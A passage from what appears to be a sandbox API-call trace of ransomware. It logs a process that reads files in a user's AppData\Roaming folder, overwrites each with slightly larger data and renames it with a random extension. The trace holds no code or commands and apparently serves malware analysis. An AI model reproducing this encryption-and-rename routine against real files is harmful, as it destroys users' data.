lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e81d340, ftCreationTime.dwHighDateTime=0x1d8b0bb, ftLastAccessTime.dwLowDateTime=0x77a529d0, ftLastAccessTime.dwHighDateTime=0x1d8bcf2, ftLastWriteTime.dwLowDateTime=0x54db3bc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x110c0)) returned 1 [0148.265] SetErrorMode (uMode=0x0) returned 0x1 [0148.265] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\dktfq.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\dKTFQ.m4a.ttyipk" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\dktfq.m4a.ttyipk")) returned 1 [0148.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv", lpFilePart=0x0) returned 0x33 [0148.266] SetErrorMode (uMode=0x1) returned 0x0 [0148.266] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\enxpfcuywrcj.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.266] GetFileType (hFile=0x1d0) returned 0x1 [0148.266] SetErrorMode (uMode=0x0) returned 0x1 [0148.266] GetFileType (hFile=0x1d0) returned 0x1 [0148.266] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x147a8 [0148.275] ReadFile (in: hFile=0x1d0, lpBuffer=0x285cc48, nNumberOfBytesToRead=0x147a8, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x285cc48*, lpNumberOfBytesRead=0x21d418*=0x147a8, lpOverlapped=0x0) returned 1 [0148.276] CloseHandle (hObject=0x1d0) returned 1 [0148.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv", lpFilePart=0x0) returned 0x33 [0148.328] SetErrorMode (uMode=0x1) returned 0x0 [0148.328] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\enxpfcuywrcj.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.330] GetFileType (hFile=0x1d0) returned 0x1 [0148.330] SetErrorMode (uMode=0x0) returned 0x1 [0148.331] GetFileType (hFile=0x1d0) returned 0x1 [0148.331] WriteFile (in: hFile=0x1d0, lpBuffer=0x297a178*, nNumberOfBytesToWrite=0x147b0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x297a178*, lpNumberOfBytesWritten=0x21d498*=0x147b0, lpOverlapped=0x0) returned 1 [0148.334] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv", lpFilePart=0x0) returned 0x33 [0148.334] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv.koh6xq", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv.koh6xq", lpFilePart=0x0) returned 0x3a [0148.334] SetErrorMode (uMode=0x1) returned 0x0 [0148.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\enxpfcuywrcj.csv"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefa5d460, ftCreationTime.dwHighDateTime=0x1d8b5ff, ftLastAccessTime.dwLowDateTime=0x39f4d0c0, ftLastAccessTime.dwHighDateTime=0x1d8b664, ftLastWriteTime.dwLowDateTime=0x54e722a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x147b0)) returned 1 [0148.334] SetErrorMode (uMode=0x0) returned 0x1 [0148.334] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\enxpfcuywrcj.csv"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\ENXpFCUywRCj.csv.koh6xq" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\enxpfcuywrcj.csv.koh6xq")) returned 1 [0148.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif", lpFilePart=0x0) returned 0x37 [0148.335] SetErrorMode (uMode=0x1) returned 0x0 [0148.335] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\epbdpl2nubwlxi2a.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.336] GetFileType (hFile=0x1d0) returned 0x1 [0148.336] SetErrorMode (uMode=0x0) returned 0x1 [0148.336] GetFileType (hFile=0x1d0) returned 0x1 [0148.336] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x12ced [0148.336] ReadFile (in: hFile=0x1d0, lpBuffer=0x298f810, nNumberOfBytesToRead=0x12ced, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x298f810*, lpNumberOfBytesRead=0x21d418*=0x12ced, lpOverlapped=0x0) returned 1 [0148.407] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif", lpFilePart=0x0) returned 0x37 [0148.407] SetErrorMode (uMode=0x1) returned 0x0 [0148.407] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\epbdpl2nubwlxi2a.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.409] GetFileType (hFile=0x1d0) returned 0x1 [0148.409] SetErrorMode (uMode=0x0) returned 0x1 [0148.409] GetFileType (hFile=0x1d0) returned 0x1 [0148.409] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ba9e8*, nNumberOfBytesToWrite=0x12cf0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x28ba9e8*, lpNumberOfBytesWritten=0x21d498*=0x12cf0, lpOverlapped=0x0) returned 1 [0148.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif", lpFilePart=0x0) returned 0x37 [0148.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif.bk1t6w", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif.bk1t6w", lpFilePart=0x0) returned 0x3e [0148.412] SetErrorMode (uMode=0x1) returned 0x0 [0148.412] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\epbdpl2nubwlxi2a.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55dbe400, ftCreationTime.dwHighDateTime=0x1d8b14a, ftLastAccessTime.dwLowDateTime=0x3540c0, ftLastAccessTime.dwHighDateTime=0x1d8b864, ftLastWriteTime.dwLowDateTime=0x54f30980, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x12cf0)) returned 1 [0148.413] SetErrorMode (uMode=0x0) returned 0x1 [0148.413] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\epbdpl2nubwlxi2a.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\EPBdPl2nUBwLxi2a.gif.bk1t6w" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\epbdpl2nubwlxi2a.gif.bk1t6w")) returned 1 [0148.416] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif", lpFilePart=0x0) returned 0x39 [0148.416] SetErrorMode (uMode=0x1) returned 0x0 [0148.416] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\h1yixdoe1dpx6gmny-.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.416] GetFileType (hFile=0x1d0) returned 0x1 [0148.416] SetErrorMode (uMode=0x0) returned 0x1 [0148.416] GetFileType (hFile=0x1d0) returned 0x1 [0148.416] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x6d37 [0148.416] ReadFile (in: hFile=0x1d0, lpBuffer=0x28ce6f0, nNumberOfBytesToRead=0x6d37, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x28ce6f0*, lpNumberOfBytesRead=0x21d418*=0x6d37, lpOverlapped=0x0) returned 1 [0148.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif", lpFilePart=0x0) returned 0x39 [0148.438] SetErrorMode (uMode=0x1) returned 0x0 [0148.438] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\h1yixdoe1dpx6gmny-.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.439] GetFileType (hFile=0x1d0) returned 0x1 [0148.439] SetErrorMode (uMode=0x0) returned 0x1 [0148.439] GetFileType (hFile=0x1d0) returned 0x1 [0148.439] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d0750*, nNumberOfBytesToWrite=0x6d40, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x29d0750*, lpNumberOfBytesWritten=0x21d498*=0x6d40, lpOverlapped=0x0) returned 1 [0148.441] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif", lpFilePart=0x0) returned 0x39 [0148.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif.ioof6z", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif.ioof6z", lpFilePart=0x0) returned 0x40 [0148.442] SetErrorMode (uMode=0x1) returned 0x0 [0148.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\h1yixdoe1dpx6gmny-.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2e300f0, ftCreationTime.dwHighDateTime=0x1d8b6a2, ftLastAccessTime.dwLowDateTime=0x13aac4e0, ftLastAccessTime.dwHighDateTime=0x1d8bc6f, ftLastWriteTime.dwLowDateTime=0x54f7cc40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x6d40)) returned 1 [0148.442] SetErrorMode (uMode=0x0) returned 0x1 [0148.442] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\h1yixdoe1dpx6gmny-.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\h1YIXDOe1dpX6GMny-.gif.ioof6z" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\h1yixdoe1dpx6gmny-.gif.ioof6z")) returned 1 [0148.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png", lpFilePart=0x0) returned 0x2b [0148.445] SetErrorMode (uMode=0x1) returned 0x0 [0148.445] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\k1gu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.445] GetFileType (hFile=0x1d0) returned 0x1 [0148.445] SetErrorMode (uMode=0x0) returned 0x1 [0148.445] GetFileType (hFile=0x1d0) returned 0x1 [0148.445] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x42d4 [0148.445] ReadFile (in: hFile=0x1d0, lpBuffer=0x29d8390, nNumberOfBytesToRead=0x42d4, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29d8390*, lpNumberOfBytesRead=0x21d418*=0x42d4, lpOverlapped=0x0) returned 1 [0148.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png", lpFilePart=0x0) returned 0x2b [0148.545] SetErrorMode (uMode=0x1) returned 0x0 [0148.545] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\k1gu.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.546] GetFileType (hFile=0x1d0) returned 0x1 [0148.546] SetErrorMode (uMode=0x0) returned 0x1 [0148.546] GetFileType (hFile=0x1d0) returned 0x1 [0148.546] WriteFile (in: hFile=0x1d0, lpBuffer=0x2875110*, nNumberOfBytesToWrite=0x42e0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2875110*, lpNumberOfBytesWritten=0x21d498*=0x42e0, lpOverlapped=0x0) returned 1 [0148.548] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png", lpFilePart=0x0) returned 0x2b [0148.548] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png.gnvpc9", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png.gnvpc9", lpFilePart=0x0) returned 0x32 [0148.548] SetErrorMode (uMode=0x1) returned 0x0 [0148.548] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\k1gu.png"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf61f5bc0, ftCreationTime.dwHighDateTime=0x1d8b106, ftLastAccessTime.dwLowDateTime=0xf21f5f00, ftLastAccessTime.dwHighDateTime=0x1d8b482, ftLastWriteTime.dwLowDateTime=0x550875e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x42e0)) returned 1 [0148.548] SetErrorMode (uMode=0x0) returned 0x1 [0148.548] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\k1gu.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\K1GU.png.gnvpc9" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\k1gu.png.gnvpc9")) returned 1 [0148.549] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png", lpFilePart=0x0) returned 0x36 [0148.549] SetErrorMode (uMode=0x1) returned 0x0 [0148.550] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\lcmyl7cy0h0iv6k.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.550] GetFileType (hFile=0x1d0) returned 0x1 [0148.550] SetErrorMode (uMode=0x0) returned 0x1 [0148.550] GetFileType (hFile=0x1d0) returned 0x1 [0148.550] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xcdfb [0148.550] ReadFile (in: hFile=0x1d0, lpBuffer=0x287a300, nNumberOfBytesToRead=0xcdfb, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x287a300*, lpNumberOfBytesRead=0x21d418*=0xcdfb, lpOverlapped=0x0) returned 1 [0148.569] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png", lpFilePart=0x0) returned 0x36 [0148.569] SetErrorMode (uMode=0x1) returned 0x0 [0148.569] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\lcmyl7cy0h0iv6k.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.571] GetFileType (hFile=0x1d0) returned 0x1 [0148.571] SetErrorMode (uMode=0x0) returned 0x1 [0148.571] GetFileType (hFile=0x1d0) returned 0x1 [0148.571] WriteFile (in: hFile=0x1d0, lpBuffer=0x2980b28*, nNumberOfBytesToWrite=0xce00, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2980b28*, lpNumberOfBytesWritten=0x21d498*=0xce00, lpOverlapped=0x0) returned 1 [0148.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png", lpFilePart=0x0) returned 0x36 [0148.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png.nrjbcb", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png.nrjbcb", lpFilePart=0x0) returned 0x3d [0148.583] SetErrorMode (uMode=0x1) returned 0x0 [0148.583] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\lcmyl7cy0h0iv6k.png"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd04e480, ftCreationTime.dwHighDateTime=0x1d8b72f, ftLastAccessTime.dwLowDateTime=0xf9ae8660, ftLastAccessTime.dwHighDateTime=0x1d8bc11, ftLastWriteTime.dwLowDateTime=0x550d38a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xce00)) returned 1 [0148.584] SetErrorMode (uMode=0x0) returned 0x1 [0148.584] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\lcmyl7cy0h0iv6k.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\lCmYl7Cy0h0iv6k.png.nrjbcb" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\lcmyl7cy0h0iv6k.png.nrjbcb")) returned 1 [0148.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif", lpFilePart=0x0) returned 0x37 [0148.585] SetErrorMode (uMode=0x1) returned 0x0 [0148.585] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mzzay9cjsqosyyig.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.585] GetFileType (hFile=0x1d0) returned 0x1 [0148.585] SetErrorMode (uMode=0x0) returned 0x1 [0148.585] GetFileType (hFile=0x1d0) returned 0x1 [0148.586] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x128fb [0148.586] ReadFile (in: hFile=0x1d0, lpBuffer=0x298e8b0, nNumberOfBytesToRead=0x128fb, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x298e8b0*, lpNumberOfBytesRead=0x21d418*=0x128fb, lpOverlapped=0x0) returned 1 [0148.649] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif", lpFilePart=0x0) returned 0x37 [0148.649] SetErrorMode (uMode=0x1) returned 0x0 [0148.649] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mzzay9cjsqosyyig.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0148.651] GetFileType (hFile=0x1d0) returned 0x1 [0148.651] SetErrorMode (uMode=0x0) returned 0x1 [0148.651] GetFileType (hFile=0x1d0) returned 0x1 [0148.651] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c1290*, nNumberOfBytesToWrite=0x12900, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x28c1290*, lpNumberOfBytesWritten=0x21d498*=0x12900, lpOverlapped=0x0) returned 1 [0148.654] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif", lpFilePart=0x0) returned 0x37 [0148.654] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif.k9krsd", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif.k9krsd", lpFilePart=0x0) returned 0x3e [0148.654] SetErrorMode (uMode=0x1) returned 0x0 [0148.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mzzay9cjsqosyyig.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd6559950, ftCreationTime.dwHighDateTime=0x1d8bc71, ftLastAccessTime.dwLowDateTime=0x1408c980, ftLastAccessTime.dwHighDateTime=0x1d8bd16, ftLastWriteTime.dwLowDateTime=0x5516be20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x12900)) returned 1 [0148.654] SetErrorMode (uMode=0x0) returned 0x1 [0148.655] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\MzZay9cJsQOsYyIg.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\mzzay9cjsqosyyig.gif"), 